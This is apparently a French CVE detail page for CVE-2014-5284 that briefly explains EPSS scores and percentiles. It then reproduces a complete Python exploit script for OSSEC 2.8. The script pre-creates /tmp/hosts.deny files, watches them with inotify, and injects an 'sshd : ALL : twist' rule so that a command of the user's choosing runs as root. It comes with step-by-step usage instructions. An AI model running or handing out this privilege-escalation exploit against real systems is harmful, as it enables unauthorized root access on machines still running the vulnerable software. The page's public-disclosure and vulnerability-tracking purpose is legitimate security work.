CVE-2014-5284 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

#!/usr/bin/python # Exploit Title: ossec 2.8 Insecure Temporary File Creation Vulnerability Privilege Escalation # Date: 14-11-14 # Exploit Author: skynet-13 # Vendor Homepage: www.ossec.net/ # Software Link: https://github.com/ossec/ossec-hids/archive/2.8.1.tar.gz # Version: OSSEC - 2.8 # Tested on: Ubunutu x86_64 # CVE : 2014-5284 # Created from Research by # Jeff Petersen # Roka Security LLC # [email protected] # Original info at https://github.com/ossec/ossec-hids/releases/tag/2.8.1 # Run this on target machine and follow instructions to execute command as root from twisted.internet import inotify from twisted.python import filepath from twisted.internet import reactor import os import optparse import signal class HostDenyExploiter(object): def __init__(self, path_to_watch, cmd): self.path = path_to_watch self.notifier = inotify.INotify() self.exploit = cmd def create_files(self): print "==============================================" print "Creating /tmp/hosts.deny.300 through /tmp/hosts.deny.65536 ..." for i in range(300, 65536): filename = "/tmp/hosts.deny.%s" % i f = open(filename, 'w') f.write("") f.close() def watch_files(self): print "==============================================" print "Monitoring tmp for file change...." print "ssh into the system a few times with an incorrect password" print "Then wait for up to 10 mins" print "==============================================" self.notifier.startReading() self.notifier.watch(filepath.FilePath(self.path), callbacks=[self.on_file_change]) def write_exploit_to_file(self, path): print 'Writing exploit to this file' f = open(str(path).split("'")[1], 'w') f.write(' sshd : ALL : twist %s \n' % self.exploit) f.close() print "==============================================" print " ssh in again to execute the command" print "==============================================" print " End Prog." os.kill(os.getpid(), signal.SIGUSR1) def on_file_change(self, watch, path, mask): print 'File: ', str(path).split("'")[1], ' has just been modified' self.notifier.stopReading() self.write_exploit_to_file(path) if __name__ == '__main__': parser = optparse.OptionParser("usage of program \n" + "-c Command to run as root in quotes\n") parser.add_option('-c', dest='cmd', type='string', help='Used to specify a command to run as root') (options, args) = parser.parse_args() cmd = options.cmd if options.cmd is None: print parser.usage exit(0) ex = HostDenyExploiter('/tmp', cmd) ex.create_files() ex.watch_files() reactor.run() exit(0)